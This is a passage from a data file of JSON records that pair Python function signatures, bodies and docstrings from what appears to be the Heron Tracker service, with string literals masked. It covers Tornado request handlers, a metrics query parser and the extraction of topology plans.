{}<EOL><DEDENT>if environ not in ret[cluster][topo_role]:<EOL><INDENT>ret[cluster][topo_role][environ] = []<EOL><DEDENT>ret[cluster][topo_role][environ].append(topology.name)<EOL><DEDENT>self.write_success_response(ret)<EOL>", "docstring": "get method", "id": "f7349:c0:m1"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7350:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "try:<EOL><INDENT>cluster = self.get_argument_cluster()<EOL>role = self.get_argument_role()<EOL>environ = self.get_argument_environ()<EOL>topology_name = self.get_argument_topology()<EOL>topology = self.tracker.getTopologyByClusterRoleEnvironAndName(<EOL>cluster, role, environ, topology_name)<EOL>start_time = self.get_argument_starttime()<EOL>end_time = self.get_argument_endtime()<EOL>self.validateInterval(start_time, end_time)<EOL>query = self.get_argument_query()<EOL>metrics = yield tornado.gen.Task(self.executeMetricsQuery,<EOL>topology.tmaster, query, int(start_time), int(end_time))<EOL>self.write_success_response(metrics)<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>self.write_error_response(e)<EOL><DEDENT>", "docstring": "get method", "id": "f7350:c0:m1"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def executeMetricsQuery(self, tmaster, queryString, start_time, end_time, callback=None):<DEDENT>", "body": "query = Query(self.tracker)<EOL>metrics = yield query.execute_query(tmaster, queryString, start_time, end_time)<EOL>ret = {}<EOL>ret[\"<STR_LIT>\"] = start_time<EOL>ret[\"<STR_LIT>\"] = end_time<EOL>ret[\"<STR_LIT>\"] = []<EOL>for metric in metrics:<EOL><INDENT>tl = {<EOL>\"<STR_LIT:data>\": metric.timeline<EOL>}<EOL>if metric.instance:<EOL><INDENT>tl[\"<STR_LIT>\"] = metric.instance<EOL><DEDENT>ret[\"<STR_LIT>\"].append(tl)<EOL><DEDENT>raise tornado.gen.Return(ret)<EOL>", "docstring": "Get the specified metrics for the given query in this topology.\nReturns the following dict on success:\n{\n  \"timeline\": [{\n    \"instance\": <instance>,\n    \"data\": {\n      <start_time> : <numeric value>,\n      <start_time> : <numeric value>,\n      ...\n    }\n  }, {\n    ...\n  }, ...\n  \"starttime\": <numeric value>,\n  \"endtime\": <numeric value>,\n},\n\nReturns the following dict on failure:\n{\n  \"message\": \"...\"\n}", "id": "f7350:c0:m2"}
{"signature": "@tornado.gen.coroutine<EOL>def getInstancePid(topology_info, instance_id):", "body": "try:<EOL><INDENT>http_client = tornado.httpclient.AsyncHTTPClient()<EOL>endpoint = utils.make_shell_endpoint(topology_info, instance_id)<EOL>url = \"<STR_LIT>\" % (endpoint, instance_id)<EOL>Log.debug(\"<STR_LIT>\", url)<EOL>response = yield http_client.fetch(url)<EOL>raise tornado.gen.Return(response.body)<EOL><DEDENT>except tornado.httpclient.HTTPError as e:<EOL><INDENT>raise Exception(str(e))<EOL><DEDENT>", "docstring": "This method is used by other modules, and so it\nis not a part of the class.\nFetches Instance pid from heron-shell.", "id": "f7352:m0"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7352:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "try:<EOL><INDENT>cluster = self.get_argument_cluster()<EOL>role = self.get_argument_role()<EOL>environ = self.get_argument_environ()<EOL>topology_name = self.get_argument_topology()<EOL>instance = self.get_argument_instance()<EOL>topology_info = self.tracker.getTopologyInfo(topology_name, cluster, role, environ)<EOL>result = yield getInstancePid(topology_info, instance)<EOL>self.write_success_response(result)<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>self.write_error_response(e)<EOL><DEDENT>", "docstring": "get method", "id": "f7352:c0:m1"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7353:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "try:<EOL><INDENT>cluster = self.get_argument_cluster()<EOL>role = self.get_argument_role()<EOL>environ = self.get_argument_environ()<EOL>topology_name = self.get_argument_topology()<EOL>topology_info = self.tracker.getTopologyInfo(topology_name, cluster, role, environ)<EOL>physical_plan = topology_info[\"<STR_LIT>\"]<EOL>self.write_success_response(physical_plan)<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>self.write_error_response(e)<EOL><DEDENT>", "docstring": "get method", "id": "f7353:c0:m1"}
{"signature": "def add_titles(parser):", "body": "parser._positionals.title = \"<STR_LIT>\"<EOL>parser._optionals.title = \"<STR_LIT>\"<EOL>return parser<EOL>", "docstring": "add titles", "id": "f7356:m0"}
{"signature": "def add_arguments(parser):", "body": "default_config_file = os.path.join(<EOL>utils.get_heron_tracker_conf_dir(), constants.DEFAULT_CONFIG_FILE)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>metavar='<STR_LIT>' + default_config_file + '<STR_LIT>',<EOL>default=default_config_file)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>metavar='<STR_LIT>'+ str(constants.DEFAULT_STATE_MANAGER_TYPE) + '<STR_LIT:)>',<EOL>choices=[\"<STR_LIT:file>\", \"<STR_LIT>\"])<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>metavar='<STR_LIT>'+ str(constants.DEFAULT_STATE_MANAGER_NAME) + '<STR_LIT:)>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>metavar='<STR_LIT>'+ str(constants.DEFAULT_STATE_MANAGER_ROOTPATH) + '<STR_LIT:)>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>metavar='<STR_LIT>'+ str(constants.DEFAULT_STATE_MANAGER_TUNNELHOST) + '<STR_LIT:)>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>metavar='<STR_LIT>''<STR_LIT>' + str(constants.DEFAULT_STATE_MANAGER_HOSTPORT) + '<STR_LIT:)>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>metavar='<STR_LIT>' + str(constants.DEFAULT_PORT) + '<STR_LIT:)>',<EOL>type=int,<EOL>default=constants.DEFAULT_PORT)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT:store_true>')<EOL>return parser<EOL>", "docstring": "add arguments", "id": "f7356:m1"}
{"signature": "def create_parsers():", "body": "parser = argparse.ArgumentParser(<EOL>epilog='<STR_LIT>',<EOL>usage=\"<STR_LIT>\",<EOL>add_help=False)<EOL>parser = add_titles(parser)<EOL>parser = add_arguments(parser)<EOL>ya_parser = argparse.ArgumentParser(<EOL>parents=[parser],<EOL>formatter_class=SubcommandHelpFormatter,<EOL>add_help=False)<EOL>subparsers = ya_parser.add_subparsers(<EOL>title=\"<STR_LIT>\")<EOL>help_parser = subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>add_help=False)<EOL>help_parser.set_defaults(help=True)<EOL>subparsers.add_parser(<EOL>'<STR_LIT:version>',<EOL>help='<STR_LIT>',<EOL>add_help=True)<EOL>return parser, ya_parser<EOL>", "docstring": "create argument parser", "id": "f7356:m2"}
{"signature": "def define_options(port, config_file):", "body": "define(\"<STR_LIT:port>\", default=port)<EOL>define(\"<STR_LIT>\", default=config_file)<EOL>", "docstring": "define Tornado global variables", "id": "f7356:m3"}
{"signature": "def main():", "body": "<EOL>(parser, _) = create_parsers()<EOL>(args, remaining) = parser.parse_known_args()<EOL>if remaining == ['<STR_LIT>']:<EOL><INDENT>parser.print_help()<EOL>parser.exit()<EOL><DEDENT>elif remaining == ['<STR_LIT:version>']:<EOL><INDENT>common_config.print_build_info()<EOL>parser.exit()<EOL><DEDENT>elif remaining != []:<EOL><INDENT>Log.error('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>namespace = vars(args)<EOL>log.set_logging_level(namespace)<EOL>define_options(namespace['<STR_LIT:port>'], namespace['<STR_LIT>'])<EOL>config = Config(create_tracker_config(namespace))<EOL>application = Application(config)<EOL>def signal_handler(signum, frame):<EOL><INDENT>print('<STR_LIT:\\n>', end='<STR_LIT>')<EOL>application.stop()<EOL>tornado.ioloop.IOLoop.instance().stop()<EOL><DEDENT>signal.signal(signal.SIGINT, signal_handler)<EOL>signal.signal(signal.SIGTERM, signal_handler)<EOL>Log.info(\"<STR_LIT>\", namespace['<STR_LIT:port>'])<EOL>if namespace[\"<STR_LIT>\"]:<EOL><INDENT>Log.info(\"<STR_LIT>\", namespace['<STR_LIT>'])<EOL><DEDENT>Log.info(\"<STR_LIT>\" + str(config))<EOL>http_server = tornado.httpserver.HTTPServer(application)<EOL>http_server.listen(namespace['<STR_LIT:port>'])<EOL>tornado.ioloop.IOLoop.instance().start()<EOL>", "docstring": "main", "id": "f7356:m5"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def execute_query(self, tmaster, query_string, start, end):<DEDENT>", "body": "if not tmaster:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>self.tmaster = tmaster<EOL>root = self.parse_query_string(query_string)<EOL>metrics = yield root.execute(self.tracker, self.tmaster, start, end)<EOL>raise tornado.gen.Return(metrics)<EOL>", "docstring": "execute query", "id": "f7357:c0:m1"}
{"signature": "def find_closing_braces(self, query):", "body": "if query[<NUM_LIT:0>] != '<STR_LIT:(>':<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>num_open_braces = <NUM_LIT:0><EOL>for i in range(len(query)):<EOL><INDENT>c = query[i]<EOL>if c == '<STR_LIT:(>':<EOL><INDENT>num_open_braces += <NUM_LIT:1><EOL><DEDENT>elif c == '<STR_LIT:)>':<EOL><INDENT>num_open_braces -= <NUM_LIT:1><EOL><DEDENT>if num_open_braces == <NUM_LIT:0>:<EOL><INDENT>return i<EOL><DEDENT><DEDENT>raise Exception(\"<STR_LIT>\")<EOL>", "docstring": "Find the index of the closing braces for the opening braces\n        at the start of the query string. Note that first character\n        of input string must be an opening braces.", "id": "f7357:c0:m2"}
{"signature": "def get_sub_parts(self, query):", "body": "parts = []<EOL>num_open_braces = <NUM_LIT:0><EOL>delimiter = '<STR_LIT:U+002C>'<EOL>last_starting_index = <NUM_LIT:0><EOL>for i in range(len(query)):<EOL><INDENT>if query[i] == '<STR_LIT:(>':<EOL><INDENT>num_open_braces += <NUM_LIT:1><EOL><DEDENT>elif query[i] == '<STR_LIT:)>':<EOL><INDENT>num_open_braces -= <NUM_LIT:1><EOL><DEDENT>elif query[i] == delimiter and num_open_braces == <NUM_LIT:0>:<EOL><INDENT>parts.append(query[last_starting_index: i].strip())<EOL>last_starting_index = i + <NUM_LIT:1><EOL><DEDENT><DEDENT>parts.append(query[last_starting_index:].strip())<EOL>return parts<EOL>", "docstring": "The subparts are seperated by a comma. Make sure\n        that commas inside the part themselves are not considered.", "id": "f7357:c0:m3"}
{"signature": "def parse_query_string(self, query):", "body": "if not query:<EOL><INDENT>return None<EOL><DEDENT>if query[<NUM_LIT:0>] == '<STR_LIT:(>':<EOL><INDENT>index = self.find_closing_braces(query)<EOL>if index != len(query) - <NUM_LIT:1>:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return self.parse_query_string(query[<NUM_LIT:1>:-<NUM_LIT:1>])<EOL><DEDENT><DEDENT>start_index = query.find(\"<STR_LIT:(>\")<EOL>if start_index < <NUM_LIT:0>:<EOL><INDENT>try:<EOL><INDENT>constant = float(query)<EOL>return constant<EOL><DEDENT>except ValueError:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>token = query[:start_index]<EOL>if token not in self.operators:<EOL><INDENT>raise Exception(\"<STR_LIT>\" + token)<EOL><DEDENT>rest_of_the_query = query[start_index:]<EOL>braces_end_index = self.find_closing_braces(rest_of_the_query)<EOL>if braces_end_index != len(rest_of_the_query) - <NUM_LIT:1>:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>parts = self.get_sub_parts(rest_of_the_query[<NUM_LIT:1>:-<NUM_LIT:1>])<EOL>if token == \"<STR_LIT>\":<EOL><INDENT>return self.operators[token](parts)<EOL><DEDENT>children = []<EOL>for part in parts:<EOL><INDENT>children.append(self.parse_query_string(part))<EOL><DEDENT>node = self.operators[token](children)<EOL>return node<EOL>", "docstring": "Returns a parse tree for the query, each of the node is a\n        subclass of Operator. This is both a lexical as well as syntax analyzer step.", "id": "f7357:c0:m4"}
{"signature": "def convert_pb_kvs(kvs, include_non_primitives=True):", "body": "config = {}<EOL>for kv in kvs:<EOL><INDENT>if kv.value:<EOL><INDENT>config[kv.key] = kv.value<EOL><DEDENT>elif kv.serialized_value:<EOL><INDENT>if topology_pb2.JAVA_SERIALIZED_VALUE == kv.type:<EOL><INDENT>jv = _convert_java_value(kv, include_non_primitives=include_non_primitives)<EOL>if jv is not None:<EOL><INDENT>config[kv.key] = jv<EOL><DEDENT><DEDENT>else:<EOL><INDENT>config[kv.key] = _raw_value(kv)<EOL><DEDENT><DEDENT><DEDENT>return config<EOL>", "docstring": "converts pb kvs to dict", "id": "f7358:m0"}
{"signature": "def synch_topologies(self):", "body": "self.state_managers = statemanagerfactory.get_all_state_managers(self.config.statemgr_config)<EOL>try:<EOL><INDENT>for state_manager in self.state_managers:<EOL><INDENT>state_manager.start()<EOL><DEDENT><DEDENT>except Exception as ex:<EOL><INDENT>Log.error(\"<STR_LIT>\" % ex)<EOL>traceback.print_exc()<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>def on_topologies_watch(state_manager, topologies):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>Log.info(\"<STR_LIT>\")<EOL>Log.debug(\"<STR_LIT>\" + str(topologies))<EOL>existingTopologies = self.getTopologiesForStateLocation(state_manager.name)<EOL>existingTopNames = map(lambda t: t.name, existingTopologies)<EOL>Log.debug(\"<STR_LIT>\" + str(existingTopNames))<EOL>for name in existingTopNames:<EOL><INDENT>if name not in topologies:<EOL><INDENT>Log.info(\"<STR_LIT>\",<EOL>name, state_manager.rootpath)<EOL>self.removeTopology(name, state_manager.name)<EOL><DEDENT><DEDENT>for name in topologies:<EOL><INDENT>if name not in existingTopNames:<EOL><INDENT>self.addNewTopology(state_manager, name)<EOL><DEDENT><DEDENT><DEDENT>for state_manager in self.state_managers:<EOL><INDENT>onTopologiesWatch = partial(on_topologies_watch, state_manager)<EOL>state_manager.get_topologies(onTopologiesWatch)<EOL><DEDENT>", "docstring": "Sync the topologies with the statemgrs.", "id": "f7358:c0:m1"}
{"signature": "def getTopologyByClusterRoleEnvironAndName(self, cluster, role, environ, topologyName):", "body": "topologies = list(filter(lambda t: t.name == topologyName<EOL>and t.cluster == cluster<EOL>and (not role or t.execution_state.role == role)<EOL>and t.environ == environ, self.topologies))<EOL>if not topologies or len(topologies) > <NUM_LIT:1>:<EOL><INDENT>if role is not None:<EOL><INDENT>raise Exception(\"<STR_LIT>\".format(<EOL>cluster, role, environ, topologyName))<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\".format(<EOL>cluster, environ, topologyName))<EOL><DEDENT><DEDENT>return topologies[<NUM_LIT:0>]<EOL>", "docstring": "Find and return the topology given its cluster, environ, topology name, and\nan optional role.\nRaises exception if topology is not found, or more than one are found.", "id": "f7358:c0:m3"}
{"signature": "def getTopologiesForStateLocation(self, name):", "body": "return filter(lambda t: t.state_manager_name == name, self.topologies)<EOL>", "docstring": "Returns all the topologies for a given state manager.", "id": "f7358:c0:m4"}
{"signature": "def addNewTopology(self, state_manager, topologyName):", "body": "topology = Topology(topologyName, state_manager.name)<EOL>Log.info(\"<STR_LIT>\",<EOL>topologyName, state_manager.name)<EOL>self.topologies.append(topology)<EOL>topology.register_watch(self.setTopologyInfo)<EOL>def on_topology_pplan(data):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>Log.info(\"<STR_LIT>\" + topologyName)<EOL>topology.set_physical_plan(data)<EOL>if not data:<EOL><INDENT>Log.debug(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>def on_topology_packing_plan(data):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>Log.info(\"<STR_LIT>\" + topologyName)<EOL>topology.set_packing_plan(data)<EOL>if not data:<EOL><INDENT>Log.debug(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>def on_topology_execution_state(data):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>Log.info(\"<STR_LIT>\" + topologyName)<EOL>topology.set_execution_state(data)<EOL>if not data:<EOL><INDENT>Log.debug(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>def on_topology_tmaster(data):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>Log.info(\"<STR_LIT>\" + topologyName)<EOL>topology.set_tmaster(data)<EOL>if not data:<EOL><INDENT>Log.debug(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>def on_topology_scheduler_location(data):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>Log.info(\"<STR_LIT>\" + topologyName)<EOL>topology.set_scheduler_location(data)<EOL>if not data:<EOL><INDENT>Log.debug(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>state_manager.get_pplan(topologyName, on_topology_pplan)<EOL>state_manager.get_packing_plan(topologyName, on_topology_packing_plan)<EOL>state_manager.get_execution_state(topologyName, on_topology_execution_state)<EOL>state_manager.get_tmaster(topologyName, on_topology_tmaster)<EOL>state_manager.get_scheduler_location(topologyName, on_topology_scheduler_location)<EOL>", "docstring": "Adds a topology in the local cache, and sets a watch\non any changes on the topology.", "id": "f7358:c0:m5"}
{"signature": "def removeTopology(self, topology_name, state_manager_name):", "body": "topologies = []<EOL>for top in self.topologies:<EOL><INDENT>if (top.name == topology_name and<EOL>top.state_manager_name == state_manager_name):<EOL><INDENT>if (topology_name, state_manager_name) in self.topologyInfos:<EOL><INDENT>self.topologyInfos.pop((topology_name, state_manager_name))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>topologies.append(top)<EOL><DEDENT><DEDENT>self.topologies = topologies<EOL>", "docstring": "Removes the topology from the local cache.", "id": "f7358:c0:m6"}
{"signature": "def extract_execution_state(self, topology):", "body": "execution_state = topology.execution_state<EOL>executionState = {<EOL>\"<STR_LIT>\": execution_state.cluster,<EOL>\"<STR_LIT>\": execution_state.environ,<EOL>\"<STR_LIT>\": execution_state.role,<EOL>\"<STR_LIT>\": topology.name,<EOL>\"<STR_LIT>\": execution_state.submission_time,<EOL>\"<STR_LIT>\": execution_state.submission_user,<EOL>\"<STR_LIT>\": execution_state.release_state.release_username,<EOL>\"<STR_LIT>\": execution_state.release_state.release_tag,<EOL>\"<STR_LIT>\": execution_state.release_state.release_version,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": [],<EOL>}<EOL>for extra_link in self.config.extra_links:<EOL><INDENT>link = extra_link.copy()<EOL>link[\"<STR_LIT:url>\"] = self.config.get_formatted_url(executionState,<EOL>link[EXTRA_LINK_FORMATTER_KEY])<EOL>executionState[\"<STR_LIT>\"].append(link)<EOL><DEDENT>return executionState<EOL>", "docstring": "Returns the repesentation of execution state that will\nbe returned from Tracker.", "id": "f7358:c0:m7"}
{"signature": "def extract_metadata(self, topology):", "body": "execution_state = topology.execution_state<EOL>metadata = {<EOL>\"<STR_LIT>\": execution_state.cluster,<EOL>\"<STR_LIT>\": execution_state.environ,<EOL>\"<STR_LIT>\": execution_state.role,<EOL>\"<STR_LIT>\": topology.name,<EOL>\"<STR_LIT>\": execution_state.submission_time,<EOL>\"<STR_LIT>\": execution_state.submission_user,<EOL>\"<STR_LIT>\": execution_state.release_state.release_username,<EOL>\"<STR_LIT>\": execution_state.release_state.release_tag,<EOL>\"<STR_LIT>\": execution_state.release_state.release_version,<EOL>\"<STR_LIT>\": [],<EOL>}<EOL>for extra_link in self.config.extra_links:<EOL><INDENT>link = extra_link.copy()<EOL>link[\"<STR_LIT:url>\"] = self.config.get_formatted_url(metadata,<EOL>link[EXTRA_LINK_FORMATTER_KEY])<EOL>metadata[\"<STR_LIT>\"].append(link)<EOL><DEDENT>return metadata<EOL>", "docstring": "Returns metadata that will\nbe returned from Tracker.", "id": "f7358:c0:m8"}
{"signature": "def extract_scheduler_location(self, topology):", "body": "schedulerLocation = {<EOL>\"<STR_LIT:name>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>}<EOL>if topology.scheduler_location:<EOL><INDENT>schedulerLocation[\"<STR_LIT:name>\"] = topology.scheduler_location.topology_name<EOL>schedulerLocation[\"<STR_LIT>\"] = topology.scheduler_location.http_endpoint<EOL>schedulerLocation[\"<STR_LIT>\"] =topology.scheduler_location.job_page_link[<NUM_LIT:0>]if len(topology.scheduler_location.job_page_link) > <NUM_LIT:0> else \"<STR_LIT>\"<EOL><DEDENT>return schedulerLocation<EOL>", "docstring": "Returns the representation of scheduler location that will\nbe returned from Tracker.", "id": "f7358:c0:m10"}
{"signature": "def extract_tmaster(self, topology):", "body": "tmasterLocation = {<EOL>\"<STR_LIT:name>\": None,<EOL>\"<STR_LIT:id>\": None,<EOL>\"<STR_LIT:host>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>}<EOL>if topology.tmaster:<EOL><INDENT>tmasterLocation[\"<STR_LIT:name>\"] = topology.tmaster.topology_name<EOL>tmasterLocation[\"<STR_LIT:id>\"] = topology.tmaster.topology_id<EOL>tmasterLocation[\"<STR_LIT:host>\"] = topology.tmaster.host<EOL>tmasterLocation[\"<STR_LIT>\"] = topology.tmaster.controller_port<EOL>tmasterLocation[\"<STR_LIT>\"] = topology.tmaster.master_port<EOL>tmasterLocation[\"<STR_LIT>\"] = topology.tmaster.stats_port<EOL><DEDENT>return tmasterLocation<EOL>", "docstring": "Returns the representation of tmaster that will\nbe returned from Tracker.", "id": "f7358:c0:m11"}
{"signature": "def extract_logical_plan(self, topology):", "body": "logicalPlan = {<EOL>\"<STR_LIT>\": {},<EOL>\"<STR_LIT>\": {},<EOL>}<EOL>for spout in topology.spouts():<EOL><INDENT>spoutName = spout.comp.name<EOL>spoutType = \"<STR_LIT:default>\"<EOL>spoutSource = \"<STR_LIT>\"<EOL>spoutVersion = \"<STR_LIT>\"<EOL>spoutConfigs = spout.comp.config.kvs<EOL>for kvs in spoutConfigs:<EOL><INDENT>if kvs.key == \"<STR_LIT>\":<EOL><INDENT>spoutType = javaobj.loads(kvs.serialized_value)<EOL><DEDENT>elif kvs.key == \"<STR_LIT>\":<EOL><INDENT>spoutSource = javaobj.loads(kvs.serialized_value)<EOL><DEDENT>elif kvs.key == \"<STR_LIT>\":<EOL><INDENT>spoutVersion = javaobj.loads(kvs.serialized_value)<EOL><DEDENT><DEDENT>spoutPlan = {<EOL>\"<STR_LIT>\": convert_pb_kvs(spoutConfigs, include_non_primitives=False),<EOL>\"<STR_LIT:type>\": spoutType,<EOL>\"<STR_LIT:source>\": spoutSource,<EOL>\"<STR_LIT:version>\": spoutVersion,<EOL>\"<STR_LIT>\": []<EOL>}<EOL>for outputStream in list(spout.outputs):<EOL><INDENT>spoutPlan[\"<STR_LIT>\"].append({<EOL>\"<STR_LIT>\": outputStream.stream.id<EOL>})<EOL><DEDENT>logicalPlan[\"<STR_LIT>\"][spoutName] = spoutPlan<EOL><DEDENT>for bolt in topology.bolts():<EOL><INDENT>boltName = bolt.comp.name<EOL>boltPlan = {<EOL>\"<STR_LIT>\": convert_pb_kvs(bolt.comp.config.kvs, include_non_primitives=False),<EOL>\"<STR_LIT>\": [],<EOL>\"<STR_LIT>\": []<EOL>}<EOL>for outputStream in list(bolt.outputs):<EOL><INDENT>boltPlan[\"<STR_LIT>\"].append({<EOL>\"<STR_LIT>\": outputStream.stream.id<EOL>})<EOL><DEDENT>for inputStream in list(bolt.inputs):<EOL><INDENT>boltPlan[\"<STR_LIT>\"].append({<EOL>\"<STR_LIT>\": inputStream.stream.id,<EOL>\"<STR_LIT>\": inputStream.stream.component_name,<EOL>\"<STR_LIT>\": topology_pb2.Grouping.Name(inputStream.gtype)<EOL>})<EOL><DEDENT>logicalPlan[\"<STR_LIT>\"][boltName] = boltPlan<EOL><DEDENT>return logicalPlan<EOL>", "docstring": "Returns the representation of logical plan that will\nbe returned from Tracker.", "id": "f7358:c0:m12"}
{"signature": "def extract_physical_plan(self, topology):", "body": "physicalPlan = {<EOL>\"<STR_LIT>\": {},<EOL>\"<STR_LIT>\": {},<EOL>\"<STR_LIT>\": {},<EOL>\"<STR_LIT>\": {},<EOL>\"<STR_LIT>\": {},<EOL>\"<STR_LIT>\": {},<EOL>\"<STR_LIT>\": {}<EOL>}<EOL>if not topology.physical_plan:<EOL><INDENT>return physicalPlan<EOL><DEDENT>spouts = topology.spouts()<EOL>bolts = topology.bolts()<EOL>stmgrs = None<EOL>instances = None<EOL>stmgrs = list(topology.physical_plan.stmgrs)<EOL>instances = list(topology.physical_plan.instances)<EOL>if topology.physical_plan.topology.topology_config:<EOL><INDENT>physicalPlan[\"<STR_LIT>\"] = convert_pb_kvs(topology.physical_plan.topology.topology_config.kvs)<EOL><DEDENT>for spout in spouts:<EOL><INDENT>spout_name = spout.comp.name<EOL>physicalPlan[\"<STR_LIT>\"][spout_name] = []<EOL>if spout_name not in physicalPlan[\"<STR_LIT>\"]:<EOL><INDENT>physicalPlan[\"<STR_LIT>\"][spout_name] = {<EOL>\"<STR_LIT>\": convert_pb_kvs(spout.comp.config.kvs)<EOL>}<EOL><DEDENT><DEDENT>for bolt in bolts:<EOL><INDENT>bolt_name = bolt.comp.name<EOL>physicalPlan[\"<STR_LIT>\"][bolt_name] = []<EOL>if bolt_name not in physicalPlan[\"<STR_LIT>\"]:<EOL><INDENT>physicalPlan[\"<STR_LIT>\"][bolt_name] = {<EOL>\"<STR_LIT>\": convert_pb_kvs(bolt.comp.config.kvs)<EOL>}<EOL><DEDENT><DEDENT>for stmgr in stmgrs:<EOL><INDENT>host = stmgr.host_name<EOL>cwd = stmgr.cwd<EOL>shell_port = stmgr.shell_port if stmgr.HasField(\"<STR_LIT>\") else None<EOL>physicalPlan[\"<STR_LIT>\"][stmgr.id] = {<EOL>\"<STR_LIT:id>\": stmgr.id,<EOL>\"<STR_LIT:host>\": host,<EOL>\"<STR_LIT:port>\": stmgr.data_port,<EOL>\"<STR_LIT>\": shell_port,<EOL>\"<STR_LIT>\": cwd,<EOL>\"<STR_LIT>\": stmgr.pid,<EOL>\"<STR_LIT>\": utils.make_shell_job_url(host, shell_port, cwd),<EOL>\"<STR_LIT>\": utils.make_shell_logfiles_url(host, shell_port, cwd),<EOL>\"<STR_LIT>\": []<EOL>}<EOL><DEDENT>instance_groups = collections.OrderedDict()<EOL>for instance in instances:<EOL><INDENT>instance_id = instance.instance_id<EOL>stmgrId = instance.stmgr_id<EOL>name = instance.info.component_name<EOL>stmgrInfo = physicalPlan[\"<STR_LIT>\"][stmgrId]<EOL>host = stmgrInfo[\"<STR_LIT:host>\"]<EOL>cwd = stmgrInfo[\"<STR_LIT>\"]<EOL>shell_port = stmgrInfo[\"<STR_LIT>\"]<EOL>group_name = instance_id.rsplit(\"<STR_LIT:_>\", <NUM_LIT:2>)[<NUM_LIT:0>]<EOL>igroup = instance_groups.get(group_name, list())<EOL>igroup.append(instance_id)<EOL>instance_groups[group_name] = igroup<EOL>physicalPlan[\"<STR_LIT>\"][instance_id] = {<EOL>\"<STR_LIT:id>\": instance_id,<EOL>\"<STR_LIT:name>\": name,<EOL>\"<STR_LIT>\": stmgrId,<EOL>\"<STR_LIT>\": utils.make_shell_logfiles_url(host, shell_port, cwd, instance.instance_id),<EOL>}<EOL>physicalPlan[\"<STR_LIT>\"][stmgrId][\"<STR_LIT>\"].append(instance_id)<EOL>if name in physicalPlan[\"<STR_LIT>\"]:<EOL><INDENT>physicalPlan[\"<STR_LIT>\"][name].append(instance_id)<EOL><DEDENT>else:<EOL><INDENT>physicalPlan[\"<STR_LIT>\"][name].append(instance_id)<EOL><DEDENT><DEDENT>physicalPlan[\"<STR_LIT>\"] = instance_groups<EOL>return physicalPlan<EOL>", "docstring": "Returns the representation of physical plan that will\nbe returned from Tracker.", "id": "f7358:c0:m13"}
{"signature": "def extract_packing_plan(self, topology):", "body": "packingPlan = {<EOL>\"<STR_LIT:id>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": []<EOL>}<EOL>if not topology.packing_plan:<EOL><INDENT>return packingPlan<EOL><DEDENT>container_plans = topology.packing_plan.container_plans<EOL>containers = []<EOL>for container_plan in container_plans:<EOL><INDENT>instances = []<EOL>for instance_plan in container_plan.instance_plans:<EOL><INDENT>instance_resources = {\"<STR_LIT>\": instance_plan.resource.cpu,<EOL>\"<STR_LIT>\": instance_plan.resource.ram,<EOL>\"<STR_LIT>\": instance_plan.resource.disk}<EOL>instance = {\"<STR_LIT>\" : instance_plan.component_name,<EOL>\"<STR_LIT>\" : instance_plan.task_id,<EOL>\"<STR_LIT>\": instance_plan.component_index,<EOL>\"<STR_LIT>\": instance_resources}<EOL>instances.append(instance)<EOL><DEDENT>required_resource = {\"<STR_LIT>\": container_plan.requiredResource.cpu,<EOL>\"<STR_LIT>\": container_plan.requiredResource.ram,<EOL>\"<STR_LIT>\": container_plan.requiredResource.disk}<EOL>scheduled_resource = {}<EOL>if container_plan.scheduledResource:<EOL><INDENT>scheduled_resource = {\"<STR_LIT>\": 